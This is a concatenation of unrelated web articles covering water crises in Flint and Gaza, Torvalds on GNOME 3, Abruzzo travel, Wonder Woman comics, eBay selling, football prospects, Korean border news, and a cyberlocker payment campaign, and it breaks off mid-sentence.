recommends that lead in water should be no higher than 15 parts per billion. Across Flint, the number of children with above average levels of lead in their blood has almost doubled. In “high risk” areas, it has tripled. The people of Gaza are grappling with similar problems. During 2014, it was reported that 90 to 95 percent of Gaza’s water supply was unfit for drinking. The Palestinian Water Authority found that the aquifer on which Gaza depends was highly polluted with pesticides and untreated sewage. Symptom of racism Palestinians live under an apartheid system. And the impacts of apartheid are especially pronounced when it comes to water. While Israeli settlers in the arid West Bank can enjoy the sight of well-irrigated floral displays and dips in swimming pools all year round, Palestinians have access to considerably less drinking water than the levels recommended by the World Health Organization. Michigan’s water crisis is also a symptom of institutionalized racism. Snyder and his predecessors have imposed emergency managers mainly on towns and cities with large Black populations, including Detroit and Flint. In 2013, The Atlantic reported that the five cities in Michigan then under economic management contained just 9 percent of the state’s inhabitants. Yet about half of all Black people in Michigan lived in those cities. Writing in The Nation last month, Juan Cole argued that just as Flint’s residents “had their access to a basic staple like clean water denied by decisions made by bureaucrats they did not elect, so the Palestinians of Gaza lack the basic rights of citizenship.” The right to water has been recognized by the United Nations. Yet the dominant ideology treats water as a commodity. It is only natural that alliances should be formed between defenders of the right to water in different cities and countries. The government in my native Ireland, under pressure from its masters in Brussels and other EU capitals, has been trying to put control of water in the hands of a private company in recent years. The battle for the abolition of Irish Water, as the firm is called, has received support from activists in Michigan, Bolivia and Spain. More than a few of Ireland’s right to water campaigners are also part of the Palestine solidarity movement. One such campaigner, Gino Kenny, has been elected to Dáil Eireann, the lower house in the national parliament. When his election was announced in late February, he celebrated by waving a Palestinian flag. The gesture was appreciated by Palestinians — not surprisingly so. Struggles for justice will always be intertwined. Additional research by Jimmy Johnson. -Those of us, who've known Linus Torvalds over the years, like yours truly, know that Linux's inventor, Mr. Penguin if you will, is a quiet gentle soul who never raises his voice when something bothers him. Ahem. I lie like a rug. While I have known Torvalds for decades, he's anything but shy and he never suffers fools gladly. So, it shouldn't come as much of a surprise that when Torvalds decided he didn't like the new version of the GNOME desktop, he didn't mince any words about it. It all started in a public Google+ posting by Dave Jones, a Red Hat engineer and one of the maintainers of Fedora Linux, where Jones announced some minor Linux kernel news for a Fedora update. As the discussion continued, Torvalds joined in and remarked, "Could you also fork gnome, and support a gnome-2 environment? I want my sane interfaces back. I have yet to meet anybody who likes the unholy mess that is gnome-3." He's not the only one. I also don't like GNOME 3 either. I much prefer the last version of GNOME 2.x: GNOME 2.32. It may be "out of date," but it's the default desktop for my current favorite desktop Linux: Mint 11. Why? Well, I'll let Mr. Torvalds tell you: it's not that I have rendering problems with gnome3 (although I do have those too), it's that the user experience of Gnome3 even without rendering problems is unacceptable. Why can't I have shortcuts on my desktop? Why can't I have the expose functionality? Wobbly windows? Why does anybody sane think that it's a good idea to have that "go to the crazy 'activities'" menu mode? I used to be upset when gnome developers decided it was "too complicated" for the user to remap some mouse buttons. In gnome3, the developers have apparently decided that it's "too complicated" to actually do real work on your desktop, and have decided to make it really annoying to do. Here's an example of "the crazy": you want a new terminal window. So you go to "activities" and press the "terminal" thing that you've made part of your normal desktop thing (but why can't I just have it on the desktop, instead of in that insane "activities" mode?). What happens? Nothing. It brings your existing terminal to the forefront. That's just crazy crap. Now I need to use Shift-Control-N in an old terminal to bring up a new one. Yeah, that's a real user experience improvement. Sure. I'm sure there are other ways, but that's just an example of the kind of "head up the arse" behavior of gnome3. Seriously. I have been asking other developers about gnome3, they all think it's crazy. I'm using Xfce [a lightweight Unix/Linux desktop). I think it's a step down from gnome2, but it's a huge step up from gnome3. Really. As you can see, Torvalds is far from shy about voicing his opinion about GNOME. He wasn't the only one. Dirk Hohndel, Intel's chief Linux and open-source technologist, said in the same thread, "Gnome 3 is just completely unusable as far as I'm concerned." Since then, Hohndel's been giving GNOME another try, but, "It's still not exactly what I'm used to, but getting closer." That said, Hohndel observed later in his discussion, after some especially trying times with a large display, "Does it worry you that I need a dozen Gnome lovers to help me just to do fairly regular things with my computer? Things that all used to work just fine with Gnome2?" It should worry them. It should worry them a lot. Long time readers of mine know that I was really unhappy when KDE, the other major Linux desktop, decided to go in a new direction with KDE 4. As KDE 4 matured, I eventually started to like it. I'm not sure that's going to happen with GNOME 3.x. With KDE 4, I saw where they wanted to go, I just didn't think it was a great idea. With GNOME... I really don't know what they're trying to do. It looks to me like change just for the sake of change, and that's pointless. Of course, it's one thing when just a technology journalist, like me, doesn't like what you're doing. But, when leading Linux developers dislike a desktop this much, and one major Linux distribution, Ubuntu, dislikes it so much that they decided to replace the GNOME 3 shell with an entirely different desktop approach, Unity, I think it's time for GNOME's developers to sit down and seriously consider whether they've should backtrack to the GNOME 2 architecture. If they don't? Well this is open source. Someone could always fork the project. If things don't start changing for the better, maybe someone should. Related Stories: Ubuntu: The desktop Linux with the cloud inside The top five Linux desktop vendors Don't Panic! It's only Linux 3.0 Fedora 15's five best features Mint 11: The "Un-Unity" Ubuntu desktop Linux -Sulmona is a quaint medieval city with cobblestone streets in the Abruzzo region of Italy. (Photo: Mark Kurlyandchik, Detroit Free Press) There’s a place in the world, about two hours northeast of Rome, where a fountain of red wine flows continuously, beckoning all who want a free taste. What is this magical place? The under-the-radar Italian region of Abruzzo, where even intrepid Americans can still get a taste of the real sepia-toned Italian life we all picture in our daydreams. For much of its history, Abruzzo has been sheltered from the rest of Italy and the throngs of tourists who trample its great cities. Bordered by the Adriatic Sea on one side and the Apennine Mountains on the other, the region has spent thousands of years steeping in its own traditions. Today, life here is as rhythmic as the sea, the tides marked by three-hour lunches (pranzo) and "La Passeggiata,” an evening pre-dinner stroll through town to catch up with friends and to strut your sprezzatura — the Italian art of studied effortlessness. And while Abruzzo may not have the name recognition of Tuscany or even Umbria, that hasn’t stopped it from earning a reputation as one of the best regions in the country for its culinary offerings, famous for Montepulciano and Trebbiano wines, chitarra pasta, grilled lamb skewers (arrosticini), porchetta and a surfeit of cheeses, charcuterie, desserts and digestifs. With airfare to Rome more affordable than it has been in years, coupled with a strong dollar (and that aforementioned wine fountain), now is as good a time as any to head for the hills of Abruzzo for a culinary tour of Italy’s best-kept secret. A tale of two cities There’s a duality to the Abruzzese experience that includes the salt-of-the-earth mountainous inland as well as the laid-back seaside. Any trip to the region should include both. Consider splitting your time between two locales: the quaint inland town of Sulmona and the cosmopolitan seaside city of Pescara, separated by 45 minutes of smoothly paved toll road or an hour-long train ride. Montepulciano d'Abruzzo grapes on the vine at Marramiero Winery in Italy's Pescara valley. (Photo: Mark Kurlyandchik, Detroit Free Press) Sulmona Sulmona is a medieval walled city of about 25,000 people located on a plateau surrounded by majestic rolling mountains. In the ancient period, it was known as the birthplace and home of the Roman poet Ovid, a statue of whom still stands in the central piazza. Children ride their bikes down a street in the old city of Sulmona, a quaint medieval town in the Abruzzo region of Italy. (Photo: Mark Kurlyandchik, Detroit Free Press) Today, this quaint town with cobblestone streets and a 760-year-old aqueduct is best known for its confetti — brightly colored sugar-coated almonds often arranged as floral bouquets and other whimsical figures. You'll see the colorful arrangements overflowing from numerous shops in town. Situated on the northern edge of the historic town, the Hotel Santacroce Ovidius offers a great jumping-off point for a stroll through the city and offers well-appointed rooms for around 100 euros ($110) a night. There’s also a restaurant on site and a coffee counter (or “bar,” as they’re called in Italy) for your morning cappuccino and cornetto — the traditional Italian breakfast. Stewed lamb with onion and zucchini flowers and a bottle of Montepulciano d'Abruzzo wine is a typical Abruzzese meal served at La Locanda di Bruno in Sulmona, Italy. (Photo: Mark Kurlyandchik, Detroit Free Press) For the best meal in town, head to La Locanda di Gino for lunch at the white-tablecloth restaurant on the main floor. Gino is a quaint four-room hotel (80-100 euro/night; $88-$110) but the family-run restaurant downstairs is good enough to be featured in the Michelin guide. The restaurant offers a daily changing degustation menu for 30 euro ($33), featuring well-made dishes typical of the region: crusty bread with smoked slices of fatty pork cheek, tangy red garlic scapes preserved in oil, stuffed zucchini flower with prized Navelli saffron and the ubiquitous Abruzzese lamb stew. As in the rest of Italy, lunch is the most important meal of the day in Sulmona and wouldn’t be complete without a bottle of Montepulciano (red) or Trebbiano d’Abruzzo (white) wine. Most restaurants in town carry nothing else. After lunch, hit any of the cafe bars for a pour of local amaro, the Italian digestif that ranges in taste from bitter as truth to syrupy sweet depending on the blend of herbs and botanicals used. The locals will likely try to push genziana, a biting straw-colored digestif made from wild gentian root that settles the stomach but can be a bit potent for the uninitiated. If you find yourself hungry later in the day or at odd hours, stop by the shoebox-sized Pizza e Sfizi Sulmona for a delicious thin-crust wood-fired pie. The dough here is slapped out on the counter rather than tossed, creating a delicate, chewy crust. An entire margherita pizza here will set yoeuu back just 3.50 euro ($3.80). A margherita pizza from Pizza e Sfizi Sulmona in Sulmona, Italy, will set you back just 3.50 euro. (Photo: Mark Kurlyandchik, Detroit Free Press) There’s also plenty to see and do in and around town, including the local market in the main square held on Wednesday and Saturday mornings. The old town boasts some beautiful historic churches and fountains, and if you want to explore the vast wilderness of Abruzzo, a few national parks are just a short drive away. Welcometosulmona.com is an English-language guide to the city and a great resource for planning your trip. Pescara During the summer months, Abruzzo’s most populous city overflows with vacationing Italians who make good use of Pescara’s 10-mile-long Adriatic coastline. But even in the shoulder season, the salt-flecked city thumps with an energy that belies its 120,000 inhabitants, as throngs of shoppers and families stroll the old city's main artery in search of fashion deals and good eats. A one-way ticket on the frequent train from Sulmona to Pescara will set you back less than 6 euro ($6.60) and from the train station in Pescara, it’s a 15-minute walk to the seaside promenade lined with classic Abruzzese seafood joints. A good option is Marechiaro da Bruno — a white-tablecloth seafood restaurant by day and casual pizzeria by night. One of the two Brunos that owned this restaurant died in July, leaving it in the hands of Bruno Micominico, who, like his late partner, started working at the historic seafood restaurant 30-some years ago as a server. Bruno will tell you the whole story if you ask for him. Seafood chitarra, a traditional Abruzzese pasta, from Ristorante Pizzeria Marechiaro da Bruno in Pescara, Italy. (Photo: Mark Kurlyandchik, Detroit Free Press) Settle in with a bottle of Pecorino, the third and least common Abruzzese wine grape (not to be confused with the cheese), brought back from near extinction. Its tart acidity pairs well with Bruno's seafood-focused fare. Try the mixed seafood chitarra, a spaghetti-like Abruzzese pasta that gets its name from the stringed instrument used to shape its strands. The city of Pescara shines brightest during the hot summer months. In the off-season, consider renting a car in town to explore the inland Pescara province, home to some of Abruzzo's most coveted wines. Two of the Detroit area's top chefs — Mabel Gray's James Rigato and Bacco's Luciano DelSignore — recently staged a pop-up dinner at Marramiero Winery just outside the small town of Rosciano. The winery produces some excellent Montepulciano, Trebbiano and Pecorino wines, but also breaks from tradition. For its "Inferi" wine, Montepulciano is aged in French oak barrels for 14-18 months, as opposed to the more traditional "Incanto," which is aged in stainless steel tanks. Marramiero also offers a brilliant brut rose made from pinot noir that you can't find anywhere in the U.S. Montepulciano vineyards at Marramiero Winery in the Pescara province of Abruzzo, Italy. (Photo: Mark Kurlyandchik, Detroit Free Press) For dinner, make a reservation at the Michelin-starred La Bandiera, a family-run culinary oasis tucked away deep into Pescara province's winding hillsides. (It's about a 25-minute drive from Marramiero.) Michelin-starred restaurants have a reputation for being pricey, but diners at La Bandiera can easily enjoy a multicourse meal and wine for a very reasonable price. A five-course chef's degustation menu, for example, is just 45 euro ($49); add 18 euro ($19.70) for four glasses of paired wine. The kitchen here draws inspiration from traditional Abruzzese cuisine but adds whimsical twists and a level of finesse uncommon to the region, resulting in dishes like a superspaghettino (similar to angel hair) served cold and topped with basil, capers, smoked ricotta and tomato sorbet — a delightful riff on pasta pomodoro. If you want to avoid driving back to civilization in the dark, La Bandiera offers four highly rated suites above the restaurant for less than 100 euro ($110) a night. No need to rush, you can head home in the morning. And if after eating and drinking your way through Abruzzo, you find that you still haven't had enough, you can always find the free wine fountain at the Dora Sarchese vineyard near Ortona in the Chieti province. You can fill your cup with free Montepulciano all you want, so long as you drink it there. Locals of Sulmona, a medieval walled city in Abruzzo, Italy, still drink from La Fontana del Vecchio, which supplies fresh water from the surrounding mountains via a 760-year-old aqueduct. (Photo: Mark Kurlyandchik, Detroit Free Press) One cautionary note for travelers to Abruzzo: If you go, you might never leave. Getting there Nonstop flights on Delta Airlines from Detroit to Rome run May-October. During the off-season, multiple airlines fly the route with layovers in airports both in the U.S. and in Europe. You’ll have the most flexibility if you rent a car at the airport in Rome, but be forewarned that Italian city driving is not for the timid or the faint of heart. Sulmona is mostly a pedestrian city with special rules for cars, and the traffic in Pescara can be nightmarish. The toll road, known as the autostrada, runs through both. (Sulmona is less than two hours by car from either one of the two international airports in Rome.) For a more relaxed approach, consider the Trenitalia train or a shuttle bus. For less than 25 euro, ProntoBus runs routes multiple times a day from both Rome airports to various stops in Abruzzo, terminating in Pescara. (Note: The Sulmona stop is in a barren parking lot off the side of the autostrada; it’s best to have a ride from there arranged ahead of time or phone numbers for local taxi companies handy. Same goes for the train station.) Follow @mkurlyandchik on Twitter. Read or Share this story: http://usat.ly/2eEbDf5 -DC Comics will publish a new origin story for Wonder Woman this January, two months ahead of her first appearance in a DC Universe film in Batman v Superman: Dawn of Justice. A dozen different men have portrayed Batman or Superman in a major, official theatrical release, while in the 74 years of her existence Wonder Woman's official cinematic existence is entirely encompassed by a cameo in The Lego Movie. One of the sillier excuses that has been raised to explain that is the idea that her origin story isn't as "iconic" as her counterparts. To which one might say that it's easy enough to have an "iconic" backstory if Hollywood has been starting and restarting movie franchises about the character since the 1940s. Regardless, as The Hollywood Reporter points out, The Legend of Wonder Woman, written and drawn by Renae De Liz, will "fill the current gap in DC's back catalog for a standalone "origin" story for the character." De Liz is an artist/writer with a number of best selling projects under her belt, including a graphic novel adaptation of The Last Unicorn and the wildly successful crowd-funded comics anthology Womanthology. It's unknown whether the new origin will be considered canon with the movie universe, or simply serve as a go-to book for the theoretical new readers brought in by the films. Historically, Wonder Woman's origin is as the only daughter of Queen Hippolyta of Themyscira, a hidden island ruled by the immortal, all-female Amazons of Greek mythology. As the story goes, Hippolyta desired a child so strongly that the goddesses of the Greek pantheon took pity on her, and brought the clay child she had crafted to life. The child, Diana, was raised by the Amazons and eventually left Themyscira to guide Man's World to a better way. More recently in the DC Universe, Wonder Woman's origin has been altered. The story about the clay and the goddesses was revealed to have been a lie Hippolyta told to conceal the truth: Diana did have a father, and he was Zeus, the king of the gods. This plot line, which was greeted with a certain amount of disapproval from fans, also revealed that the Amazons had been systemically capturing, breeding with and murdering sailors (and then murdering or enslaving any male babies produced by those unions) for centuries. Hopefully, De Liz's story will hew closer to Wonder Woman's old origin. The Legend of Wonder Woman will run for nine issues as a digital-first series debuting in January 2016. -About selling on eBay Selling your items online is a great way to clear space taken up by things you don’t need and make money at the same time. You can transform your used items into money with just a few words, pictures, and clicks of your mouse. Selling is all about making connections, and by using online selling sites like eBay, you can make more connections from the comfort of your own home than you could in person. When you sell stuff online you aren't limited by time or distance; you can put your things up for sale on your schedule and let buyers bid on theirs. All you need is an Internet connection and you're instantly in touch with a whole world of people who are actively looking for what you're selling. With a yard sale you might be lucky to get a few dozen people; when you sell on eBay you can reach over a hundred million. To succeed at selling, it takes a little more than just a quick description and post. You need to capture your audience's attention, and that takes communication. Start with the description; it's a great way to clarify things like size and technical specifications. Don't forget the pictures; they are key for how to sell online. Good pictures show potential buyers exactly what you have to offer, not the general details but the specifics of the one you're selling. Photographs bring your item's history to life and let bidders see exactly what you're selling. This works whether you are selling clothes or electronics because people want to see what they're getting. Let them see the shoes, the tablet, or the sparkle in that ring. Your words may provide the details, but your choice of pictures is the tool you can use to capture their attention. Happy Selling. -'Previously, existence was about going to the pub, meeting women and working to pay for the above. Now I work to support my partner and child, and it's awful' When a friend gave me her newborn baby to hold, my only thought was when it was acceptable to hand it back and go out and have a cigarette. I wasn't what they nauseatingly call "broody". So when I met my new partner, having children was not a consideration. We were too busy having sex. Unfortunately, she became pregnant. Condoms are so annoying. She was pretty erratic about taking the pill. How ironic that phrase "family planning" sounds now. Not for us the happy tears when the blue line appeared on the testing kit. Instead, I hoped she would have a termination; previous girlfriends had. She didn't want to, so I had to make the best of it. Fast-forward one year and we now have a son and I don't have a life any more. Previously, existence was about going to the pub, meeting women and working to pay for the above. Now I work to support my partner and child, and it's awful. Perhaps the cruellest part of it is that if my son wasn't around, my partner wouldn't be in the picture either. I would have left her ages ago. We weren't particularly compatible, except in bed, and now even that has dried up. I was attracted to her because she was young and silly and carefree. Now she's young and resentful and a nag. We're still together because I would feel like a bastard if I left her. They say you look at your parents in a new light when you become a father yourself, and I certainly do. I look at my dad and feel apologetic. • Tell us what you're really thinking at mind@theguardian.com -CLOSE Hall of Fame running back Marshall Faulk was among three NFL Network analysts suspended. USA TODAY Sports Donovan McNabb currently works for ESPN. (Photo11: Ethan Miller, Getty Images for New Era) Former NFL players Donovan McNabb and Eric Davis will not appear on ESPN as the company investigates allegations of sexually inappropriate behavior while they were at NFL Network. "We are investigating, and McNabb and Davis will not appear on our networks as that investigation proceeds," ESPN vice president of communications Josh Krulewitz told USA TODAY Sports in a statement Tuesday morning. McNabb co-hosts a show on ESPN Radio and also occasionally appears on First Take, while Davis co-hosts a show on ESPN Radio from Los Angeles. McNabb and Davis are two of several players-turned-commentators named in a new filing in a lawsuit brought by a former wardrobe stylist at NFL Network, a group that also includes current employees Marshall Faulk, Heath Evans and Ike Taylor. The suit also names Warren Sapp and Eric Weinberger, a top executive at Bill Simmons’ media group. MORE: NFL Network suspends Marshall Faulk, Ike Taylor and Heath Evans over sexual harassment allegations MORE: After shocking loss, Patriots in search of answers heading into Pittsburgh In the lawsuit, Jami Cantor, who worked at NFL Network for a decade, claims that McNabb made sexually inappropriate comments to her in text messages, asking repeatedly about a specific sex act. Davis allegedly told Cantor, “You look like a woman who knows what to do in bed." "Mr. Davis also asked Plaintiff to have rough sex with him, and said that he wanted to choke Plaintiff from behind until Plaintiff begged him to stop," the complaint alleges. Evans, Faulk and Taylor have been suspended by NFL Network, while a spokesman for Simmons' The Ringer told USA TODAY Sports in a statement that Weinberger has been placed on leave pending an investigation. Contributing: A.J. Perez Contact Tom Schad at tschad@usatoday.com or on Twitter @Tom_Schad. GALLERY: NFL Week 15 power rankings -Sebastián Driussi 09/02/1996 Zenit St. Petersburg Striker From his River Plate debut at the age of 17 to his status now as a €15 million striker with Zenit Saint Petersburg, Sebastián Driussi has already been through a number of peaks and troughs in his young career. The prolific youngster’s exploits within River’s illustrious academy and for various Argentina youth sides had always earmarked Driussi for greatness but failing to break into the first team as Marcelo Gallardo’s versatile squad forward almost saw El León shipped out on loan before things fell into place. Paired up front with Lucas Alario, five goals from his first 63 appearances suddenly transformed into a sensational 20 in 35 during the 2016/17 season and this prompted big spending Zenit to swoop. Tasked to study Luis Suárez by Gallardo his tigerish appetite for the ball, positional awareness, intelligent movement and goal scoring instincts often exhibited shades of the Uruguayan and while Russia hasn’t proved an easy place to settle, Driussi remains a great talent. #argentina #football #futbol #soccer #footballplayer #footballteam #instagood #instapic #golazopic #golazo50 #footballfans Santiago Cáseres 25/02/1997 Villarreal Defensive midfield Cáseres was quietly one of the breakthrough players in last season’s Primera and was astutely snapped up by Villarreal in the summer for a fee in the region of €8.5 million. A promising start to life in Spain was brought to a halt with an injury against Girona but the 21-year-old defensive midfielder has bounced back strongly to pick up where he left off. A number 5 in the classic Argentinian mould, Cáseres is strong in the tackle and boasts great defensive positioning but also uses the ball extremely well at the base of midfield. In a struggling Vélez side he averaged 87.6% pass completion and has improved further on that since his move with 91% in La Liga and 95% in the Europa League. Had it not been for his untimely injury he surely would have been in the running for a national team call up and is certainly seen as someone who should be challenging for a place anchoring the Selección midfield in the near future. #argentina #football #futbol #soccer #footballplayer #footballteam #instagood #instapic #golazopic #golazo50 #footballfans Ezequiel Barco 29/03/1999 Atlanta United Attacking midfield Atlanta United supporters might still be wondering what all the fuss was about after the ambitious MLS club pulled off an astonishing coup to sign Ezequiel Barco from Independiente for a record breaking $15 million fee. But there should be no doubt that the Five Stripes signed one of South American football’s most exciting prospects. Injury and rumoured off-field problems have made a first season in Atlanta a testing one for Barco but the youngster still played a part in Tata Martino’s side lifting the title. Now with Miguel Almirón gone, the 19-year-old will be aiming to step into the spotlight and produce the level of performances that made him a star at Independiente. Quick feet, incisive passing, a penchant for nutmegs and a strong mentality as proven by the teenager slotting away the decisive penalty at the Maracaná when Independiente won the Copa Sudamericana, Barco’s impact for El Rojo from the moment Diego Milito handed him his debut was immediate. Inconsistency, a lack of end product and at times guilty of over complicating things, it’s easy to be critical of Barco but still only 19, there remains huge potential. #argentina #football #futbol #soccer #footballplayer #footballteam #instagood #instapic #golazopic #golazo50 #footballfans Nicolás González 06/04/1998 VfB Stuttgart Forward Coming from the club that produced the likes of Fernando Redondo and Diego Maradona, for Nicolás González to fetch Argentinos Juniors a club record transfer fee of €8.5 million when VfB Stuttgart swooped last summer suggests the 20-year-old is a genuine talent. Having joined Los Bichos at under-15 level, González worked his way up and was handed a senior debut by Gabriel Heinze in 2016, scoring the decisive goal against Gimnasia de Jujuy to seal promotion back to the top flight. Seven goals on that return to the Superliga proved to be a breakthrough for the forward and as Argentinos finished a comfortable twelfth. Since the sale of González, the Paternal club have struggled and the youngsters ability to stretch play and get behind has certainly been missed. Quick, alert in the penalty area and flexible enough to play across the frontline, González has all the attributes to make it in one of Europe’s top leagues. #argentina #football #futbol #soccer #footballplayer #footballteam #instagood #instapic #golazopic #golazo50 #footballfans Alan Franco 11/10/1996 Independiente Centre back Already an Argentina international after a debut against Guatemala in September only a broken metatarsal spoiled the end of 2018 for Alan Franco. The Independiente defender emerged as one of the Superliga’s top centre backs and with good reason El Rojo tied Franco down to a new deal complete with a $20 million release clause as European clubs circled. Originally a defensive midfielder, Independiente snapped up the teenager from lower league Buenos Aires outfit San Telmo in 2016 and it was here that Franco was converted to his current position. Few would have expected such a quick rise to one of Ariel Holan’s key first team players but after Nicolás Figal was hit with a doping suspension, Franco came into the side and has never looked back. Dominant aerially and quick in the tackle, Franco is a reliable first pass out from the back in Holan’s attractive Independiente side and with the youngster in the back line it was no surprise to see El Rojo lift the Copa Sudamericana last year. #argentina #football #futbol #soccer #footballplayer #footballteam #instagood #instapic #golazopic #golazo50 #footballfans -The Pittsburgh Penguins went into the 2012 Stanley Cup Playoffs riding the recent return of Sidney Crosby and a high-flying offense, and were the consensus favorite to at least reach the Final, if not win the championship. But there were cracks in the Penguins armor, specifically their ability to prevent goals. Last season, Pittsburgh had a 14-game streak of gaining at least one point in the standings, but after that won just four of eight to finish the season and yielded 37 goals in those eight contests. The lesson learned from last season -- when the Penguins crashed out of the playoffs in a flurry of goals against Philadelphia in the first round -- is the biggest reason they will claim the Stanley Cup for the fourth time in franchise history. Sure, the Penguins have the most-talented roster in the League, especially after general manager Ray Shero added Jarome Iginla, Brenden Morrow, Jussi Jokinen and Douglas Murray before the NHL Trade Deadline. Yes, they won 22 of 24 games to wrap up the top seed in the Eastern Conference and cement their place as clear favorites in what appears to be the weaker conference. But, it is how the Penguins have finished this season -- with a much greater commitment to supporting their goaltenders -- that has this team in an entirely different place as the postseason begins. Since a two-game wobble shortly after Sidney Crosby was injured (10 goals allowed in two games), the Penguins have allowed more than three goals just once since April 3, and that string of stinginess was accomplished without several key players in the lineup. Marc-Andre Fleury has bounced back from a nightmare playoff series against the Philadelphia Flyers, and Pittsburgh has one of the top Plan B’s in the NHL in Tomas Vokoun. There have been injuries to nearly all of their star players, but the new guys have filled the void, and the stars are starting to return to good health. While the Penguins will likely be the pick of most pundits to win the East, they are not the overwhelming favorite to lift the Cup. They might have been had there not been so many injuries, but that could be a blessing in disguise. This team will do a better job of committing to defense in the playoffs, because obviously there is offensive firepower up and down the lineup and the goals will come. After a disaster in the first round in 2012, the Penguins will reach the pinnacle of the sport again in 2013. -AKB48 Team B member and self-professed anime fan Mayu Watanabe (nicknamed "Mayuyu") will stream a live performance of her solo debut single "Synchro Tokimeki" on Ustream on February 29 at 6:45 p.m. in Japan (4:45 a.m. EST). Watanabe will hold a press conference starting at 6:45 p.m. where she will reveal another song, and the solo debut program, "Dokidoki Jōtō. Synchro Shiyō Ze!," will start at 8:30 p.m. (6:30 a.m. EST). Watanabe's solo debut single will be released on the same day. Watanabe will star as 13-year-old Chieri Sono in AKB0048, the spring television anime series inspired by the all-female idol group AKB48. Watanabe was one of nine winners chosen from 200 members of AKB48 and its sister groups: SKE48, NMB48, and HKT48 to star in the anime series. [Via Ota-Suke] -PAJU, South Korea (Reuters) - A heavily armed border crossing between North and South Korea that allows the North access to $2 billion in trade a year, one of its few avenues to foreign currency, remained open on Thursday despite Pyongyang’s move to cut communications. A South Korean soldier (top R) stands to check vehicles heading to the inter-Korean industrial park in the North Korean border city of Kaesong, at the CIQ (Customs, Immigration and Quarantine) office, south of the demilitarised zone separating the two Koreas, in Paju, north of Seoul March 28, 2013. REUTERS/Lim Byeong-sik/Yonhap North Korea on Wednesday severed the last of three telephone hotlines with South Korea as it readied its troops to face what it believes to be “hostile” action from Seoul and Washington. The phone line is used to regulate access to the Kaesong industrial park on the North Korean side of the border as well as for military communications with the South. Nearly 200 South Koreans and 166 vehicles carrying oil and materials drove into the park just inside the North early on Thursday after North Korean authorities used a separate phone line from the park’s management office to allow access, South Korean officials said. The North has already cut a direct hotline to U.S. military forces stationed in South Korea and a Red Cross line that had been used by the governments on both sides. Severing hotlines is one of the least threatening but symbolic things Pyongyang can do to raise tensions and at the same time pressure Seoul and Washington to restart dialogue, said Yang Moo-jin of the University of North Korean Studies in Seoul. North Korea periodically cuts the lines. Its latest moves follow U.N. sanctions imposed for its February 12 nuclear test and routine drills by South Korean and U.S. forces. Pyongyang has also scrapped an armistice that ended the 1950-53 Korean War. “What else can they do? Actually start a war?” said Yang. “Not answering the phone and saying the armistice is not valid any more, that’s what they can do and they’ve done this before.” NORTH STILL ACCEPTING US DOLLARS Workers and traders crossing the world’s most heavily militarized border made sure they had U.S. dollar bills for the trip, some borrowing from a co-worker so they had enough of the zone’s officially accepted currency. Pyongyang’s rhetoric against Washington including a vow to attack its military bases in the Pacific and to stage a nuclear strike has not yet extended to its willingness to accept dollars, which South Koreans said they had to use to buy cigarettes and other goods in the zone. “I am a bit nervous but it looked the same as before when I went in there yesterday,” truck driver Park Chul-hee, 44, told Reuters outside the Paju customs office. North Korean soldiers in and around Kaesong had been wearing combat fatigues recently, he added. The North-South military hotline was used on a daily basis to process South Koreans and vehicles across the border and in and out of the Kaesong project, where 123 South Korean firms employ more than 50,000 North Koreans to make household goods. About 120 South Koreans remain in the park on an average day. The presence of South Koreans at Kaesong poses a potentially serious political risk for Seoul given they could be trapped if Pyongyang sealed the border. The first of the 511 people and 398 vehicles who were scheduled to return from the zone on Thursday began crossing the border into the South, indicating the crossing was operating normally in both directions. “I think the third nuclear test is the last tipping point. I was worried so I came out,” said one South Korean who has been running a factory in Kaesong for six years and who requested anonymity due to the sensitivity of the issue. Few people believe the North will shut down the project. The $2 billion a year it generates reduces Pyongyang’s dependency on China, which accounted for almost $6 billion in trade in 2012, according to South Korean government estimates. Kaesong also generates more than $80 million a year in cash in wages. This is paid to the state rather than to workers. -By design the porn industry is often to be found at the extremes of the human race's moral compass. So recently, when one industry man began a campaign with a stated aim of bringing the cyberlocker market to its knees, one might expect things to have gotten a little dirty. Well they have - absolutely filthy - just ask Putlocker, ExtaBit, TurboBit and a growing list of others, all victims of a concerted operation to strangle their finances and put them out of business. The mainstream music and movie industries have their own preferred techniques to make life difficult for cyberlocker services. From the wholesale destruction method employed against Megaupload, to the more subtle inclusion of sites such as RapidShare in government-directed reports, there are a number of strategies employed to put sites under pressure. At times, the MPAA and RIAA are accused of using dirty tricks, but their outright denials and favorable framing of controversial issues means that the mud often fails to fully stick. But compare that to the action currently being taken by elements of the adult industry against a wide range of file-hosters, and we have a veritable mudbath in which the players not only relish the dirty tricks, but cheerfully admit to them at every turn. For the past couple of weeks, Australian-born adult industry businessman Robert King (known online as AdultKing) has been doing everything in his power to screw up the lives of what he calls the “bad players” of the cyberlocker market. The 45-year-old has no qualms about his mission, or the methods he’s employing to complete it. “What I hope to achieve is very simple. I want to tear apart the illegal file locker industry by removing its supply of funds and then ultimately removing its supply of network connectivity,” King told TorrentFreak. King’s tactics focus on sites that sell premium subscriptions in order to provide users with improved access to user-uploaded content even though, importantly, those sites have no part in providing it. Secondly, he’s aiming for sites that pay members cash for uploading content that achieves many downloads. “I decided to take this action because I was fed up with watching businesses profiting from stolen content and illegal content while doing so under the guise of ‘user uploaded’ or ‘internet freedom’,” King adds. And the Internet, King says, is something he feels strongly about. Not only does he claim to be a vocal opponent of Australia’s proposed Internet censorship laws, he says he also played a part in building it. “I was involved in the embryonic stages of the Internet in Australia having a role within APANA which provided network access when almost nobody could get it unless they were in University. Julian Assange was also one of many Australians involved in APANA and most of us ran APANA nodes which let people dial in and connect to the Internet all connected to central hubs.” But ‘internet freedom’ and what some file-hosters and their users are doing couldn’t be further apart, King insists. “In the main file lockers are simply modern-day ‘fences’ of stolen goods. Just like a thief would take a stolen television or car radio to the pub and sell it for a few dollars, there are thousands of people around the world who take copyright content, upload it to an incentivized file locker, then get a few dollars to as much as $30 for 1000 downloads of that content.” In an attempt to bring these sites down, King has been utilizing a hugely controversial approach. One by one, King has waded through a laundry list of sites, searching their indexes for files that appear to contain not only regular copyright-infringing material, but also animal and child pornography. He then reports his findings to PayPal and other payment processors. “Not content with merely hosting child porn, many file locker sites also host bestiality,” King explained at the start of his campaign. “Our friends at PayPal make money from each premium sale of this material to people who download it.” At first, King got nowhere with PayPal, but through persistence something changed recently. During the last week or so King says that PayPal has been cutting off services and freezing the funds of a wide range of file-hosting sites including Putlocker, ExtaBit, TurboBit, UptoBox, Cloudnator, RYUShare, BulletUpload, BackUpload, RGHost, NitroBits, FireGet, FileMates….and the list goes on and on. Also raising eyebrows is the impression that King appears to have detailed, presumably private, information on the nature of measures taken by PayPal against the sites in question. For example, against PutLocker, the 346th most popular site in the world. “PutLocker have had their 